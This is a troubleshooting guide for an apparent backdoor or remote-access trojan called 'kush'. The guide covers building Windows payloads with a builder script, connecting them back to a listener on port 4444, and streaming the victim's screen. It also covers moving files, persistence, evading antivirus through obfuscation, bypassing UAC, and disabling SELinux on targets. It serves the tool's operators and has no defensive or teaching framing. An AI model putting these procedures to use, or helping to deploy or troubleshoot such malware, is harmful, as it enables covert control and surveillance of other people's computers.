troubleshooting

Troubleshooting Guide

Common Issues and Solutions

Connection Problems

Issue: "Waiting for incoming connections..." (no connection)

• Cause: Firewall blocking, wrong IP, or payload not executed

Solution:

Check listener IP matches payload IP

  python3 listener.py -i 192.168.1.100 -p 4444

Verify payload was built with correct IP

  python3 builder.py -t windows -i 192.168.1.100 -p 4444

Check firewall settings

  sudo ufw allow 4444

On Linux

Or Windows Firewall exception

Issue: "Connection refused"

Cause: Listener not running or wrong port

Solution:

Verify listener is running

netstat -tulpn | grep 4444

Check for port conflicts

sudo lsof -i :4444

Payload Generation Issues

Issue: "Wine is not installed or not in PATH"

Solution:

Install Wine

sudo apt install wine

Or run setup script

./setup.sh

Verify installation

wine --version

Issue: "PyInstaller not found" in Wine

Solution:

Install PyInstaller in Wine Python

wine pip install pyinstaller

Or run the setup script

./setup.sh

Issue: Builder creates empty or corrupted executables

Solution:

Clean build directories

rm -rf dist/ build/

Rebuild

python3 builder.py -t windows -i IP -p PORT

Check file size (should be > 1MB)

ls -la dist/

Runtime Errors

Issue: Module not found" errors on target

Cause: Missing dependencies in compiled executable

Solution:

Ensure all imports are available

pip3 install -r requirements.txt

Rebuild payload

python3 builder.py -t windows -i IP -p PORT

Issue: Agent crashes immediately

• Cause: Anti-virus detection or missing dependencies

Solution:

• Test in isolated environment first

• Check Windows Event Viewer for error details

• Try different compilation options

Feature-Specific Issues

Screen Streaming Not Working

bash

Check dependencies

python3 -c "import mss, PIL; print('OK')"

Try with different interval

kush> start_stream 2.0  # Slower interval

Check HTML viewer file

cat stream_viewer.html

File Upload/Download Failures

Check permissions on target

kush> whoami

kush> ls -la /path/to/file

Verify paths exist

kush> pwd

kush> ls /path/

Check disk space

kush> df -h  # Linux

kush> wmic logicaldisk get size,freespace,caption  # Windows

Persistence Commands Fail

Check user privileges

kush> whoami /groups  # Windows

kush> id              # Linux

Verify target OS

kush> systeminfo  # Windows

kush> uname -a    # Linux

Debug Mode

Enable Verbose Logging Modify backdoor.py to add debug output:

Add at the beginning of the file

DEBUG = True

Add debug prints in methods

def reliable_send(self, data):
    if DEBUG:
        print(f"[DEBUG] Sending: {str(data)[:100]}...")

existing code ...

Listener Debug Information

Check active connection:

In listener, test connection

kush> echo test

Monitor network traffic:

Use tcpdump to monitor communications

sudo tcpdump -i any port 4444

Platform-Specific Solutions

Windows Issues

• Anti-virus Detection:

• Add exceptions for test directory

• Use obfuscation techniques

• Test in isolated environments

• User Account Control (UAC):

• Run as Administrator for system operations

• Use UAC bypass techniques if authorized

Linux Issues

Permission Denied:

Check SELinux status

getenforce

Temporary disable for testing

sudo setenforce 0

Display Issues (Screenshots):

Set display for headless systems

export DISPLAY=:0

macOS Issues

Wine Installation:

Install via Homebrew

brew install wine

May require 32-bit support libraries

• Performance Optimization

• Reduce Resource Usage

• Slower streaming interval:

kush> start_stream 3.0  # 3-second intervals

Lower screenshot quality:

Modify backdoor.py quality setting

img.save(buffered, format="JPEG", quality=30)  # Lower quality

Memory Management

Monitor agent memory usage:

On target system

kush> tasklist  # Windows

kush> ps aux | grep kush  # Linux

Recovery Procedures

• Connection Loss Reconnect procedure:

• Keep listener running

• Restart payload on target

• Listener will accept new connection automatically

• For corrupted Session

• Reset connection:

• Stop listener (Ctrl+C)

• Restart listener

python3 listener.py -i IP -p PORT

Regenerate and redeploy payload

Getting Help Diagnostic Information When reporting issues, include:

System Information:

python3 --version
wine --version
uname -a

Error Logs:

• Full error message output

• Steps to reproduce

• Target operating system

Common Fixes Summary

Issue	        Quick Fix
No connection	Check IP/port match
Builder fails	Run ./setup.sh
Modules missing	pip3 install -r requirements.txt
Permission denied	Run as admin/root
Streaming fails	Check PIL/mss installation